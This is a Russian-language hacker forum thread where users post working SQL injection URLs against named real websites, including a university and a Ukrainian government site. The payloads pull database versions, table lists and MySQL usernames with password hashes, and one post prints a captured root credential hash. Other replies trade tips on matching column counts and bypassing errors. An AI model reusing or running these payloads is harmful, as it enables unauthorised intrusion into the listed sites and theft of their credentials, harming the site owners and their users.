SQL Инъекции

Code:

http://www.xmlhack.com/read.php?item=-1+union+select+1,table_name,3,4,5,6,7,8,9,10,11+from+information_schema.tables/*

таблицы юзеров нет =\ обидно..

 

http://www.britishcat.ru/articles.html?Action=ShowArticle&Article=-1+union+select+1,2,version(),4,5/*
коськи =))))))

 

http://kahani.com/current.php?id=-6+union+select+1,convert(version()+using+latin1),3,4,5,6

 

вот так повкуснее будет

http://kahani.com/current.php?id=-6+union+select+1,convert(concat(user,char(58),password)+using+latin1),3,4,5,6+from+mysql.user/*

root:1386b54e67928d79

 

http://www.themarchives.com/showproject.php?ID=-5+union+select+1,convert(version()+using+latin1),3,4,5/*

 

Code:

http://www.aiap.it/news.php?ID=-864%20UNION%20SELECT%201,database(),3,4,5,6,7,8/*

Code:

http://www.top-ix.org/standard.php?id=-59%20UNION%20SELECT%201,2,3,4,5,user,7+from+mysql.user/*

Code:

http://www.buhgalteria.com.ua/Hit.html?id=-1+union+select+1,2,3,4,5,6,7,convert(password%20using%20cp1251)%20+from+mysql.user/*

 

Code:

http://www.joshuaproject.net/scalelist.php?scalevalue=-1.2+union+select+null,version(),null,null,null,null,null,null,null,null,null,null,null/*

 

15 колонок, Mysql3:

Code:

__http://www.kennisalliantie.nl/index.php?id=3+group+by+16/*

 

http://www.sabeel.org/etemplate.php?id=-13+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13

 

А пример можно?
Так невыходит:

Code:

http://h44.lan248.rs/index.php?f=1&s=1'id=-13+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13/*

 

это был не пример просто ты помоему незнаеш назначения sql inj или путаеш его с php inj
http://www.funisland.com/gamelist.php?id=-13+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13/*

 

Объяните пожайлуста, зачем ломать русские сайты??

Просьба к модераторам, выложить здесь ники со следующими Ip:


[censored!]

PS. Если ломаете, то хотя бы думайте головой, а не задницей.

 

_http://www.caucaz.com/home_eng/breve_contenu.php?id=1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29/*

Вывод второго поля смотрим внизу, слева над WRITTEN BY

 

Вас проверяли на основы анонимной работы в сети.
Сегодня это были наши мемберы, а завтра это могут быть ребята из органов.

Делаем выводы.

Под реальными айпи замечены: Ksander,Colkru,\6/

ЗЫ: бага, сервак и логи - настоящие. И проблемы у Вас ещё могут быть.

 

поля так и несмог подобрать(

кто заняет как обойти несоответствие

 

VampiRUS
по идее convert(version(),char)

 

Все топики не смотрел, так что если уже есть, сорри. Привет первонаху _http://www.gay-nn.ru/?aquery=news&id=-106+UNION+SELECT+1,2,3,4,5,6,7,8/* =)

 

2VampiRUS

да ты и таблицы не подобрал)) нужно union+select+*+from+table_name/*

вот -

Code:

http://www.bridgewater.edu/index.php?id=-1+union+select+1,2,3,4,5,6,concat(username,0x3a,password),8,9,10,11,12,13,14,15,16,17,18,19+from+users/*

зы 16 юзеров, перебирать limit'ом

 

www.loga.gov.ua

PHP:

http://www.loga.gov.ua/ua/news/todrug.php?id=-8809+union+select+concat(password,0x3a,user)+from+mysql.user/*